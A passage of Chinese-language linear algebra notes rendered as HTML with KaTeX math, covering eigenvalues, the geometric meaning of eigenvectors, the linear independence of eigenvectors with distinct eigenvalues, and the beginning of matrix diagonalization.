style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><hr /><p>两个矩阵相加的特征值等于各自特征值的和并不总是成立，因为特征向量大多数情况下不同，但是同一矩阵内，矩阵多项式的特征值等于矩阵的特征值的多项式值。见 <a href="#%E7%9F%A9%E9%98%B5%E7%9A%84%E5%A4%9A%E9%A1%B9%E5%BC%8F%E5%AF%B9%E8%A7%92%E5%8C%96%E4%B8%8E%E7%89%B9%E5%BE%81%E5%80%BC">矩阵的多项式、对角化与特征值</a> 部分。</p><h2 id="特征值和特征向量的几何意义"><a class="markdownIt-Anchor" href="#特征值和特征向量的几何意义"></a> 特征值和特征向量的几何意义</h2><p>从几何上看，实特征值对应的是矩阵对特征向量（输入向量）方向进行伸缩变换，而复特征值对应的是矩阵对输入向量进行旋转变换。</p><p>不同特征值的特征向量线性无关：</p><p>假设有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msub><mi>x</mi><mn>1</mn></msub><mo>=</mo><msub><mi>λ</mi><mn>1</mn></msub><msub><mi>x</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex"> A x_1 = \lambda_1 x_1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msub><mi>x</mi><mn>2</mn></msub><mo>=</mo><msub><mi>λ</mi><mn>2</mn></msub><msub><mi>x</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex"> A x_2 = \lambda_2 x_2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mn>1</mn></msub><mo mathvariant="normal">≠</mo><msub><mi>λ</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex"> \lambda_1 \neq \lambda_2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p><p>假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><msub><mi>x</mi><mn>1</mn></msub><mo>=</mo><msub><mi>x</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex"> k x_1 = x_2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，代入方程：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>A</mi><mo stretchy="false">(</mo><mi>k</mi><msub><mi>x</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>=</mo><msub><mi>λ</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>k</mi><msub><mi>x</mi><mn>1</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">A (k x_1) = \lambda_2 (k x_1) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>k</mi><mo stretchy="false">(</mo><mi>A</mi><msub><mi>x</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mi>k</mi><mo stretchy="false">(</mo><msub><mi>λ</mi><mn>2</mn></msub><msub><mi>x</mi><mn>1</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">k (A x_1) = k (\lambda_2 x_1) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>A</mi><msub><mi>x</mi><mn>1</mn></msub><mo>=</mo><msub><mi>λ</mi><mn>2</mn></msub><msub><mi>x</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">A x_1 = \lambda_2 x_1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>与 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>λ</mi><mn>1</mn></msub><mo mathvariant="normal">≠</mo><msub><mi>λ</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex"> \lambda_1 \neq \lambda_2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 矛盾，因此 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex"> x_1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex"> x_2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 线性无关。</p><h1 id="对角化-diagonalization"><a class="markdownIt-Anchor" href="#对角化-diagonalization"></a> 对角化 Diagonalization</h1><p>如果一个矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex"> n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> 个线性无关的特征向量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>x</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> x_1, x_2, \ldots, x_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，则可以将这些特征向量组成一个矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi><mo>=</mo><mo stretchy="false">[</mo><msub><mi>x</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>x</mi><mi>n</mi></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex"> X = [x_1, x_2, \ldots, x_n] </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span>。对应的特征值组成对角矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Λ</mi><mo>=</mo><mi>d</mi><mi>i</mi><mi>a</mi><mi>g</mi><mo stretchy="false">(</mo><msub><mi>λ</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>λ</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>λ</mi><mi>n</mi></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> \Lambda = diag(\lambda_1, \lambda_2, \ldots, \lambda_n) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Λ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mord mathnormal">ia</span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">λ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>。</p><p>则有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mi>X</mi><mo>=</mo><mi>X</mi><mi mathvariant="normal">Λ</mi></mrow><annotation encoding="application/x-tex"> A X = X \Lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">Λ</span></span></span></span>。如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>X</mi></mrow><annotation encoding="application/x-tex"> X </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span> 可逆，则可以写成 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>=</mo><mi>X</mi><mi mathvariant="normal">Λ</mi><msup><mi>X</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex"> A = X \Lambda X^{-1} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord mathnormal" 